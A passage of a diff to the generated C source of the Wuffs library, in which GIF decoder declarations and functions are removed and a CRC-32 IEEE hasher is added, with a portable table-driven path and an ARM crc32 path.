3307794867u, -+ 2917509143u, 59586950u, 709201268u, 2217549029u, 2043995280u, 3619452161u, 4269064691u, 1344032866u, -+ 3740677976u, 1889445577u, 1498812987u, 4148069290u, 180845535u, 2762992206u, 2372361916u, 588238637u, -+ 1921194766u, 3706423967u, 4112727661u, 1531686908u, 2796705673u, 148555288u, 554857194u, 2407195515u, -+ 26248257u, 2952271312u, 2251333922u, 676868275u, 3584149702u, 2076793175u, 1375858085u, 4234771508u, -+ 2493785488u, 986493953u, 319029491u, 3178008930u, 1083533591u, 4009621638u, 3342158964u, 1767759333u, -+ 3887577823u, 1239362382u, 1612160956u, 3464433197u, 864482904u, 2649647049u, 3022443323u, 441336490u, -+ 1706844275u, 3419730402u, 3793503504u, 1282724993u, 2978819316u, 535149925u, 908921239u, 2554697734u, -+ 380632892u, 3100077741u, 2433735263u, 1063734222u, 3265180603u, 1828069930u, 1161729752u, 3948283721u, -+ 2207997677u, 770953084u, 71007118u, 2857626143u, 1470763626u, 4190274555u, 3490330377u, 2120394392u, -+ 4035494306u, 1591758899u, 1999168705u, 3644880208u, 616140069u, 2328960180u, 2736367686u, 225524183u, -+ }, - }; - --#define WUFFS_GIF__QUIRKS_BASE 1041635328 -- --#define WUFFS_GIF__QUIRKS_COUNT 7 -- - // ---------------- Private Initializer Prototypes - - // ---------------- Private Function Prototypes - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__do_decode_image_config( -- wuffs_gif__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__do_tell_me_more( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__do_decode_frame_config( -- wuffs_gif__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__skip_frame( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__do_decode_frame( -- wuffs_gif__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts); -- - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct --wuffs_gif__decoder__reset_gc( -- wuffs_gif__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__decode_up_to_id_part1( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__decode_header( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__decode_lsd( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__decode_extension( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__skip_blocks( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__decode_ae( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__decode_gc( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__decode_id_part0( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__decode_id_part1( -- wuffs_gif__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__decode_id_part2( -- wuffs_gif__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf); -+wuffs_crc32__ieee_hasher__up( -+ wuffs_crc32__ieee_hasher* self, -+ wuffs_base__slice_u8 a_x); - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__copy_to_image_buffer( -- wuffs_gif__decoder* self, -- wuffs_base__pixel_buffer* a_pb, -- wuffs_base__slice_u8 a_src); -+static wuffs_base__empty_struct -+wuffs_crc32__ieee_hasher__up__choosy_default( -+ wuffs_crc32__ieee_hasher* self, -+ wuffs_base__slice_u8 a_x); - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct --wuffs_gif__decoder__lzw_init( -- wuffs_gif__decoder* self); -+wuffs_crc32__ieee_hasher__up_arm_crc32( -+ wuffs_crc32__ieee_hasher* self, -+ wuffs_base__slice_u8 a_x); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct --wuffs_gif__decoder__lzw_read_from( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src); -+wuffs_crc32__ieee_hasher__up_x86_sse42( -+ wuffs_crc32__ieee_hasher* self, -+ wuffs_base__slice_u8 a_x); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) - - // ---------------- VTables - --const wuffs_base__image_decoder__func_ptrs --wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder = { -- (wuffs_base__status(*)(void*, -- wuffs_base__pixel_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__pixel_blend, -- wuffs_base__slice_u8, -- wuffs_base__decode_frame_options*))(&wuffs_gif__decoder__decode_frame), -- (wuffs_base__status(*)(void*, -- wuffs_base__frame_config*, -- wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_frame_config), -- (wuffs_base__status(*)(void*, -- wuffs_base__image_config*, -- wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_image_config), -- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_gif__decoder__frame_dirty_rect), -+const wuffs_base__hasher_u32__func_ptrs -+wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32 = { -+ (uint32_t(*)(const void*))(&wuffs_crc32__ieee_hasher__checksum_u32), - (uint64_t(*)(const void*, -- uint32_t))(&wuffs_gif__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_gif__decoder__history_retain_length), -- (uint32_t(*)(const void*))(&wuffs_gif__decoder__num_animation_loops), -- (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frame_configs), -- (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frames), -- (wuffs_base__status(*)(void*, -- uint64_t, -- uint64_t))(&wuffs_gif__decoder__restart_frame), -+ uint32_t))(&wuffs_crc32__ieee_hasher__get_quirk), - (wuffs_base__status(*)(void*, - uint32_t, -- uint64_t))(&wuffs_gif__decoder__set_quirk), -+ uint64_t))(&wuffs_crc32__ieee_hasher__set_quirk), - (wuffs_base__empty_struct(*)(void*, -- uint32_t, -- bool))(&wuffs_gif__decoder__set_report_metadata), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__more_information*, -- wuffs_base__io_buffer*))(&wuffs_gif__decoder__tell_me_more), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gif__decoder__workbuf_len), -+ wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update), -+ (uint32_t(*)(void*, -+ wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update_u32), - }; - - // ---------------- Initializer Implementations - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_gif__decoder__initialize( -- wuffs_gif__decoder* self, -+wuffs_crc32__ieee_hasher__initialize( -+ wuffs_crc32__ieee_hasher* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options){ -@@ -36681,23 +37083,25 @@ wuffs_gif__decoder__initialize( - } - } - -+ self->private_impl.choosy_up = &wuffs_crc32__ieee_hasher__up__choosy_default; -+ - self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -- wuffs_base__image_decoder__vtable_name; -- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -- (const void*)(&wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder); -+ self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = -+ wuffs_base__hasher_u32__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = -+ (const void*)(&wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32); - return wuffs_base__make_status(NULL); - } - --wuffs_gif__decoder* --wuffs_gif__decoder__alloc(void) { -- wuffs_gif__decoder* x = -- (wuffs_gif__decoder*)(calloc(sizeof(wuffs_gif__decoder), 1)); -+wuffs_crc32__ieee_hasher* -+wuffs_crc32__ieee_hasher__alloc(void) { -+ wuffs_crc32__ieee_hasher* x = -+ (wuffs_crc32__ieee_hasher*)(calloc(1, sizeof(wuffs_crc32__ieee_hasher))); - if (!x) { - return NULL; - } -- if (wuffs_gif__decoder__initialize( -- x, sizeof(wuffs_gif__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ if (wuffs_crc32__ieee_hasher__initialize( -+ x, sizeof(wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { - free(x); - return NULL; - } -@@ -36705,18 +37109,18 @@ wuffs_gif__decoder__alloc(void) { - } - - size_t --sizeof__wuffs_gif__decoder(void) { -- return sizeof(wuffs_gif__decoder); -+sizeof__wuffs_crc32__ieee_hasher(void) { -+ return sizeof(wuffs_crc32__ieee_hasher); - } - - // ---------------- Function Implementations - --// -------- func gif.decoder.get_quirk -+// -------- func crc32.ieee_hasher.get_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_gif__decoder__get_quirk( -- const wuffs_gif__decoder* self, -+wuffs_crc32__ieee_hasher__get_quirk( -+ const wuffs_crc32__ieee_hasher* self, - uint32_t a_key) { - if (!self) { - return 0; -@@ -36726,25 +37130,15 @@ wuffs_gif__decoder__get_quirk( - return 0; - } - -- uint32_t v_key = 0; -- -- if (a_key >= 1041635328u) { -- v_key = (a_key - 1041635328u); -- if (v_key < 7u) { -- if (self->private_impl.f_quirks[v_key]) { -- return 1u; -- } -- } -- } - return 0u; - } - --// -------- func gif.decoder.set_quirk -+// -------- func crc32.ieee_hasher.set_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_gif__decoder__set_quirk( -- wuffs_gif__decoder* self, -+wuffs_crc32__ieee_hasher__set_quirk( -+ wuffs_crc32__ieee_hasher* self, - uint32_t a_key, - uint64_t a_value) { - if (!self) { -@@ -36757,377 +37151,812 @@ wuffs_gif__decoder__set_quirk( - : wuffs_base__error__initialize_not_called); - } - -- if ((self->private_impl.f_call_sequence == 0u) && (a_key >= 1041635328u)) { -- a_key -= 1041635328u; -- if (a_key < 7u) { -- self->private_impl.f_quirks[a_key] = (a_value > 0u); -- return wuffs_base__make_status(NULL); -- } -- } - return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - --// -------- func gif.decoder.decode_image_config -+// -------- func crc32.ieee_hasher.update - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_gif__decoder__decode_image_config( -- wuffs_gif__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src) { -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_crc32__ieee_hasher__update( -+ wuffs_crc32__ieee_hasher* self, -+ wuffs_base__slice_u8 a_x) { - if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ return wuffs_base__make_empty_struct(); - } - if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ return wuffs_base__make_empty_struct(); - } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_image_config(self, a_dst, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } - -- ok: -- self->private_impl.p_decode_image_config[0] = 0; -- goto exit; -+ if (self->private_impl.f_state == 0u) { -+ self->private_impl.choosy_up = ( -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) -+ wuffs_base__cpu_arch__have_arm_crc32() ? &wuffs_crc32__ieee_hasher__up_arm_crc32 : -+#endif -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_crc32__ieee_hasher__up_x86_sse42 : -+#endif -+ self->private_impl.choosy_up); - } -+ wuffs_crc32__ieee_hasher__up(self, a_x); -+ return wuffs_base__make_empty_struct(); -+} - -- goto suspend; -- suspend: -- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+// -------- func crc32.ieee_hasher.update_u32 - -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_crc32__ieee_hasher__update_u32( -+ wuffs_crc32__ieee_hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ if (!self) { -+ return 0; - } -- return status; -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return 0; -+ } -+ -+ wuffs_crc32__ieee_hasher__update(self, a_x); -+ return self->private_impl.f_state; - } - --// -------- func gif.decoder.do_decode_image_config -+// -------- func crc32.ieee_hasher.up - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__do_decode_image_config( -- wuffs_gif__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- bool v_ffio = false; -+static wuffs_base__empty_struct -+wuffs_crc32__ieee_hasher__up( -+ wuffs_crc32__ieee_hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ return (*self->private_impl.choosy_up)(self, a_x); -+} - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_crc32__ieee_hasher__up__choosy_default( -+ wuffs_crc32__ieee_hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ uint32_t v_s = 0; -+ wuffs_base__slice_u8 v_p = {0}; - -- if (self->private_impl.f_call_sequence != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- goto exit; -- } else if ( ! self->private_impl.f_seen_header) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_gif__decoder__decode_header(self, a_src); -- if (status.repr) { -- goto suspend; -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- status = wuffs_gif__decoder__decode_lsd(self, a_src); -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_seen_header = true; -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); -- if (status.repr) { -- goto suspend; -- } -- v_ffio = ! self->private_impl.f_gc_has_transparent_index; -- if ( ! self->private_impl.f_quirks[2u]) { -- v_ffio = (v_ffio && -- (self->private_impl.f_frame_rect_x0 == 0u) && -- (self->private_impl.f_frame_rect_y0 == 0u) && -- (self->private_impl.f_frame_rect_x1 == self->private_impl.f_width) && -- (self->private_impl.f_frame_rect_y1 == self->private_impl.f_height)); -- } else if (v_ffio) { -- self->private_impl.f_black_color_u32_argb_premul = 4278190080u; -- } -- if (self->private_impl.f_background_color_u32_argb_premul == 77u) { -- self->private_impl.f_background_color_u32_argb_premul = self->private_impl.f_black_color_u32_argb_premul; -+ v_s = (4294967295u ^ self->private_impl.f_state); -+ { -+ wuffs_base__slice_u8 i_slice_p = a_x; -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 16; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); -+ while (v_p.ptr < i_end0_p) { -+ v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | -+ (((uint32_t)(v_p.ptr[1u])) << 8u) | -+ (((uint32_t)(v_p.ptr[2u])) << 16u) | -+ (((uint32_t)(v_p.ptr[3u])) << 24u)); -+ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ -+ WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ -+ WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ -+ WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); -+ v_p.ptr += 16; -+ v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | -+ (((uint32_t)(v_p.ptr[1u])) << 8u) | -+ (((uint32_t)(v_p.ptr[2u])) << 16u) | -+ (((uint32_t)(v_p.ptr[3u])) << 24u)); -+ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ -+ WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ -+ WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ -+ WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); -+ v_p.ptr += 16; - } -- if (a_dst != NULL) { -- wuffs_base__image_config__set( -- a_dst, -- 2198077448u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height, -- self->private_impl.f_frame_config_io_position, -- v_ffio); -+ v_p.len = 16; -+ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16)); -+ while (v_p.ptr < i_end1_p) { -+ v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | -+ (((uint32_t)(v_p.ptr[1u])) << 8u) | -+ (((uint32_t)(v_p.ptr[2u])) << 16u) | -+ (((uint32_t)(v_p.ptr[3u])) << 24u)); -+ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ -+ WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ -+ WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ -+ WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ -+ WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); -+ v_p.ptr += 16; - } -- if (self->private_impl.f_call_sequence == 0u) { -- self->private_impl.f_call_sequence = 32u; -+ v_p.len = 1; -+ const uint8_t* i_end2_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); -+ while (v_p.ptr < i_end2_p) { -+ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ v_p.ptr[0u]))] ^ (v_s >> 8u)); -+ v_p.ptr += 1; - } -- -- goto ok; -- ok: -- self->private_impl.p_do_decode_image_config[0] = 0; -- goto exit; -+ v_p.len = 0; - } -- -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- return status; -+ self->private_impl.f_state = (4294967295u ^ v_s); -+ return wuffs_base__make_empty_struct(); - } - --// -------- func gif.decoder.set_report_metadata -+// -------- func crc32.ieee_hasher.checksum_u32 - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_gif__decoder__set_report_metadata( -- wuffs_gif__decoder* self, -- uint32_t a_fourcc, -- bool a_report) { -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_crc32__ieee_hasher__checksum_u32( -+ const wuffs_crc32__ieee_hasher* self) { - if (!self) { -- return wuffs_base__make_empty_struct(); -+ return 0; - } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_empty_struct(); -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; - } - -- if (a_fourcc == 1229144912u) { -- self->private_impl.f_report_metadata_iccp = a_report; -- } else if (a_fourcc == 1481461792u) { -- self->private_impl.f_report_metadata_xmp = a_report; -+ return self->private_impl.f_state; -+} -+ -+// ‼ WUFFS MULTI-FILE SECTION +arm_crc32 -+// -------- func crc32.ieee_hasher.up_arm_crc32 -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_crc32__ieee_hasher__up_arm_crc32( -+ wuffs_crc32__ieee_hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ wuffs_base__slice_u8 v_p = {0}; -+ uint32_t v_s = 0; -+ -+ v_s = (4294967295u ^ self->private_impl.f_state); -+ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { -+ v_s = __crc32b(v_s, a_x.ptr[0u]); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); -+ } -+ { -+ wuffs_base__slice_u8 i_slice_p = a_x; -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 8; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 128) * 128)); -+ while (v_p.ptr < i_end0_p) { -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ } -+ v_p.len = 8; -+ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8)); -+ while (v_p.ptr < i_end1_p) { -+ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -+ v_p.ptr += 8; -+ } -+ v_p.len = 1; -+ const uint8_t* i_end2_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); -+ while (v_p.ptr < i_end2_p) { -+ v_s = __crc32b(v_s, v_p.ptr[0u]); -+ v_p.ptr += 1; -+ } -+ v_p.len = 0; - } -+ self->private_impl.f_state = (4294967295u ^ v_s); - return 